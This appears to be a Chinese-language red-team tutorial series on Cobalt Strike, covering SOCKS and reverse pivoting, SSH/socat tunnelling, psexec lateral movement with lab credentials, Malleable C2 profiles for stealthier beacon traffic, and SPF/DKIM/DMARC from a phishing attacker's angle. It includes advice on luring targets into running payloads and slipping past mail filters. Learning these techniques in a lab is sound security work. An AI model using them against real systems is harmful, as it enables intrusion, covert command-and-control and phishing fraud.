Untitled

21、反向转发通道的建立

0x00 前言

这一节将介绍使用 ProxyChains 进行代理转发与使用反向转发的方法。

0x01 使用 ProxyChains 进行代理转发

介绍

使用 ProxyChains 可以使我们为没有代理配置功能的软件强制使用代理

  1. 上一节中介绍的一致,开启一个 socks 代理服务

  2. 配置 /etc/proxychains.conf 文件

  3. 运行 proxychains + 待执行命令

演示

接下来继续上一节中的演示环境:

攻击机 IP:192.168.175.200

上线主机:外部IP 192.168.175.130、内部IP 192.168.232.133

攻击目标:192.168.232.0/24 地址段

1、设置 socks 代理

首先开启交互模式,之后开启 socks 代理

sleep 0
socks 9527
beacon> sleep 0
[*] Tasked beacon to become interactive
[+] host called home, sent: 16 bytes
beacon> socks 9527
[+] host called home, sent: 16 bytes
[+] started SOCKS4a server on: 9527

2、配置 ProxyChains

在攻击机上,配置 /etc/proxychains.conf 文件的最后一行,根据当前攻击主机 IP 与设置的 Socks 端口,修改如下:

socks4 192.168.175.200 9527

3、开始使用 ProxyChains

根据上一节使用 Metasploit 的扫描可以知道,在 192.168.232.0/24 地址段中存在主机 192.168.232.132 ,接下来使用 nmap 扫描一下常见的端口,这里以 80,443,445,3389 作为演示。

proxychains nmap -sT -Pn 192.168.232.132 -p 80,443,445,3389

-sT:使用 TCP 扫描

-Pn:不使用 Ping

-p:指定扫描端口

注:不加上 -sT -Pn 参数,将无法使用 proxychains 进行代理扫描

> proxychains nmap -sT -Pn 192.168.232.132 -p 80,443,445,3389                       
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.14
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-07 23:05 EDT
[proxychains] Strict chain  ...  192.168.175.200:9527  ...  192.168.232.132:80  ...  OK
[proxychains] Strict chain  ...  192.168.175.200:9527  ...  192.168.232.132:445  ...  OK
[proxychains] Strict chain  ...  192.168.175.200:9527  ...  192.168.232.132:3389  ...  OK
[proxychains] Strict chain  ...  192.168.175.200:9527  ...  192.168.232.132:443 <--denied
Nmap scan report for 192.168.232.132
Host is up (0.19s latency).

PORT     STATE  SERVICE
80/tcp   open   http
443/tcp  closed https
445/tcp  open   microsoft-ds
3389/tcp open   ms-wbt-server

Nmap done: 1 IP address (1 host up) scanned in 14.35 seconds

通过扫描可以看到目标 80 端口是开放的,接下来使用 curl 作为对比示例。

curl 192.168.232.132
proxychains curl 192.168.232.132
> curl 192.168.232.132
curl: (7) Failed to connect to 192.168.232.132 port 80: No route to host

> proxychains curl 192.168.232.132
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] Strict chain  ...  192.168.175.200:9527  ...  192.168.232.132:80  ...  OK
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
……内容太多,此处省略……                 

0x02 反向转发

反向转发顾名思义就是和上一节中提到的转发路径相反,之前我们设置的代理是 CS服务端 --> 上线主机 --> 内网主机,反向转发则是 内网主机 --> 上线主机 --> CS服务端

继续使用上面的演示环境,首先右击上线主机会话,选择 Pivoting --> Listener ,除了 Name 选项之外,CS 都会自动配置好,这里直接使用默认的配置信息。

之后生成一个 Windows 可执行文件,选择上一步生成的监听器,如果目标是 64 位则勾选使用 x64 Payload 的选项。

之后将该可执行文件在目标主机上执行即可,在现实环境中可以尝试使用钓鱼邮件的方式诱导目标执行。

当目标执行该文件后,就会发现当前不出网的 192.168.232.132 主机已经上线了。

有一说一,关于这部分网上大部分教程还是 CS 3.x 版本的教程,而在 4.0 的操作中个人感觉要方便很多。

网上关于这部分内容的 CS 4.0 的教程真的是少之又少,一开始在参考 3.x 教程的时候踩了很多坑,最后终于某内部知识库发现了一篇关于这部分内容的 4.0 教程,在该教程的参考下才发现居然如此简单。

22、通过SSH开通通道

0x00 前言

这一节将来介绍如何通过 SSH 通道进行攻击。

0x01 通过 SSH 建立通道

1、连接到上图中蓝色区域里的 PIVOT 主机并开启端口转发

ssh -D 1080 user@<blue pivot>

该命令中的 -D 参数会使 SSH 建立一个 socket,并去监听本地的 1080 端口,一旦有数据传向那个端口,就自动把它转移到 SSH 连接上面,随后发往远程主机。

2、在红色区域的 PIVOT 主机上开启通过 SSH Socks 的 445 端口转发

socat TCP4-LISTEN:445,fork SOCKS4:127.0.0.1:<target>:445

socat 可以理解成 netcat 的加强版。socat 建立 socks 连接默认端口就是 1080 ,由于我们上面设置的就是 1080,因此这里不需变动。如果设置了其他端口,那么这里还需要在命令最后加上 ,socksport=<port> 指定端口才行。

3、在攻击者控制的主机上运行 beacon,使其上线

注意需要使用 administrator 权限运行 beacon

4、在上线的主机上运行以下命令

make_token [DOMAIN\user] [password]
jump psexec_psh <red pivot> [listener]

整体的流程就是下面这张图一样。

0x02 演示

我在本地搭建了这样的一个环境。

  1. 首先使 Win1 主机上线,接着在 Linux1 主机上通过 SSH 连接到 Linux2 主机。

ssh -D 1080 user@192.168.175.146
> ssh -D 1080 user@192.168.175.146
user@192.168.175.146's password: 
Last login: Fri Jul 31 20:00:54 2020 from 192.168.175.1
user@ubuntu:~$ 

2、在 Linux1 主机上开启 445 端口转发

socat TCP4-LISTEN:445,fork SOCKS4:127.0.0.1:192.168.232.132:445

3、在 Win1 主机上运行以下命令使 Win2 上线

make_token teamssix\administrator Test123!
jump psexec_psh 192.168.175.200 smb
beacon> make_token teamssix\administrator Test123!
[*] Tasked beacon to create a token for teamssix\administrator
[+] host called home, sent: 61 bytes
[+] Impersonated WINTEST\Administrator

beacon> jump psexec_psh 192.168.175.200 smb
[*] Tasked beacon to run windows/beacon_bind_pipe (\\.\pipe\msagent_532c) on 192.168.175.200 via Service Control Manager (PSH)
[+] host called home, sent: 5886 bytes
[+] received output:
Started service 4aea3b9 on 192.168.175.200
[+] host called home, sent: 204473 bytes
[+] established link to child beacon: 192.168.232.132

4、随后便可以看到通过 SSH 上线的主机

23、malleable命令

0x00 前言

这节课将来看看如何优化 CS 的攻击载荷,从而使它更方便、隐蔽些。

0x01 malleable 命令和控制

malleable 是一种针对特定领域的语言,主要用来控制 Cobalt Strike Beacon

在开启 teamserver 时,在其命令后指定配置文件即可调用,比如:

./teamserver [ip address] [password] [profile]

0x02 编写配置文件

1、定义事务指标

http-get {
	# 指标
}
http-post {
	# 指标
}

2、控制客户端和服务端指标

http-get {
	client {
		# 指标
	}
	server {
		# 指标
	}
}

3、set 操作

set 语句是给一个选项赋值的方法,以分号结束。

set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1)";

malleable 给了我们很多选项,比如:

jitter		# 控制 beacon 默认回连的抖动因子
maxdns		# 控制最大 DNS 请求,限制最大数量可以使 DNS Beacon 发送数据看起来正常些
sleeptime	# 控制 beacon 的全部睡眠时间
spawnto
uri
useragent	# 控制每次发送请求的 useragent

sleeptimejitter 两个选项是很重要的

4、添加任意 headers

header "Accept" "text/html,application/xhtml";
header "Referer" "https://www.google.com";
header "Progma" "no-cache";
header "Cache-Control" "no-cache";

5、其他指标

header "header" "value";
parameter "key" "value";

6、转换/存储数据

metadata {
    netbios;
    append "-.jpg";
    uri-append;
}

7、数据转换语言

append "string"
base64
netbios
netbiosu
prepend "string"

参考https://blog.ateam.qianxin.com/CobaltStrike4.0%E7%94%A8%E6%88%B7%E6%89%8B%E5%86%8C_%E4%B8%AD%E6%96%87%E7%BF%BB%E8%AF%91.pdf

24、C2lints实例演示

0x00 前言

续上一节,在GitHub 上有一些配置文件的示例,项目地址:https://github.com/rsmudge/Malleable-C2-Profiles

这一节将使用该项目中的 Malleable-C2-Profiles/APT/havex.profile 配置文件作为示例。

0x01 测试配置文件是否有效

可以使用 c2lint 工具对配置文件进行测试,以判断配置文件编写的是否有效。

来到 cobalt strike 目录下,可以看到有一个 c2lint 文件,该文件需要在 Linux 下运行。

./c2lint [profile]

在运行的结果中,绿色正常(这里更像青色),黄色告警,红色错误,比如运行 Malleable-C2-Profiles 项目里的 havex.profile 文件。

./c2lint ./Malleable-C2-Profiles/APT/havex.profile

当配置文件存在错误的时候,就会以红色显示出来

0x02 运行 teamserver

./teamserver [teamserver_ip] [teamserver_password] [profile]
> ./teamserver 192.168.12.2 password ./Malleable-C2-Profiles/APT/havex.profile
[*] Will use existing X509 certificate and keystore (for SSL)
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] I see you're into threat replication. ./Malleable-C2-Profiles/APT/havex.profile loaded.
[+] Team server is up on 50050

这里调用的 havex.profile 配置文件,该配置文件里对 cookie 进行了 base64 编码。

开启 cobalt strike 后,使主机上线,通过 wireshark 抓包可以发现数据包确实符合这些特征。

关于 Malleable C2 文件的使用,这里只是大概记录了一些,想了解更多关于 Malleable C2 文件的内容或者注意事项等,可以参考 A-TEAM 团队的 CS 4.0 用户手册。

25、邮件防御

0x00 前言

Cobalt Strike 不是什么工作情况都能胜任的工具,因此就需要我们根据不同的情况去做一些辅助工作。

最后这几节将学习免杀部分的东西,这一节将主要介绍邮件防御方面的相关概念。

0x01 介绍

1、SPF、DKIM、DMARC

SPF、DKIM、DMARC 都是邮件用于帮助识别垃圾信息的附加组件,那么作为一个攻击者,在发送钓鱼邮件的时候,就需要使自己的邮件能够满足这些组件的标准,或者发送到未配置这些组件的域。

在理解这些防御标准前,需要先理解如何在因特网上通过 SMTP 发送邮件。

2、SMTP

发送一封邮件的过程大概是下面这个样子,这里以QQ邮箱为例。

> telnet smtp.qq.com 25
HELO teamssix
auth login
base64编码后的邮箱名
base64编码后的授权码
MAIL FROM: <evil_teamssix@qq.com>
RCPT TO: <target_teamssix@qq.com>
DATA
邮件内容
.
QUIT

0x02 防御策略

1、SPF

SPF Sender Policy Framework 发送人策略框架,SPF 主要用来防止随意伪造发件人。其做法就是设置一个 SPF 记录,SPF 记录实际上就是 DNS 的 TXT 记录。

如果邮件服务器收到一封来自 IP 不在 SPF 记录里的邮件则会退信或者标记为垃圾邮件。

我们可以使用以下命令查看目标的 SPF 记录。

dig +short TXT target.com
> dig +short TXT qq.com
"v=spf1 include:spf.mail.qq.com -all"

上面的 include:spf.mail.qq.com 表示引入spf.mail.qq.com域名下的 SPF 记录。

> dig +short TXT spf-a.mail.qq.com
"v=spf1 ip4:203.205.251.0/24 ip4:103.7.29.0/24 ip4:59.36.129.0/24 ip4:113.108.23.0/24 ip4:113.108.11.0/24 ip4:119.147.193.0/24 ip4:119.147.194.0/24 ip4:59.78.209.0/24 ip4:113.96.223.0/24 ip4:183.3.226.0/24 ip4:183.3.255.0/24 ip4:59.36.132.0/24 -all"

上面的 ip4:203.205.251.0/24 ip4:103.7.29.0/24 表示只允许这个范围内的 IP 发送邮件。

2、DKIM

DKIM DomainKeys Identified Mail 域名密钥识别邮件,DKIM 是一种防范电子邮件欺诈的验证技术,通过消息加密认证的方式对邮件发送域名进行验证。

邮件接收方接收邮件时,会通过 DNS 查询获得公钥,验证邮件 DKIM 签名的有效性,从而判断邮件是否被篡改。

3、DMARC

DMARC Domain-based Message Authentication, Reporting & Conformance 基于域的消息认证,报告和一致性。

它用来检查一封电子邮件是否来自所声称的发送者。DMARC 建立在 SPF 和 DKIM 协议上, 并且添加了域名对齐检查和报告发送功能。这样可以改善域名免受钓鱼攻击的保护。

可以使用下面的命令查看目标的的 DMARC 记录。

dig +short TXT _dmarc.target.com
> dig +short TXT _dmarc.qq.com
"v=DMARC1; p=none; rua=mailto:mailauth-reports@qq.com"

也有一些在线网站支持检测 SPF、DKIM、DMARC 的记录,比如 https://dmarcly.com/tools/

关于这些记录查询返回结果的解释可参考文章末的参考链接。

0x03 发送钓鱼邮件的一些注意事项

1、检测目标是否有 SPF 记录,如果有则可能会被拦截

2、检测目标 DMARC 记录的 p 选项是否为 reject ,如果有则可能会被拒绝

3、模板中嵌入的 URL 地址,不要使用 IP 地址,要保证使用完整的 URL地址

4、邮件的附件中不能附上一些可执行文件,比如 exe 格式的文件,因为一些邮件过滤器可能会将这些可执行文件删除

Last updated

Was this helpful?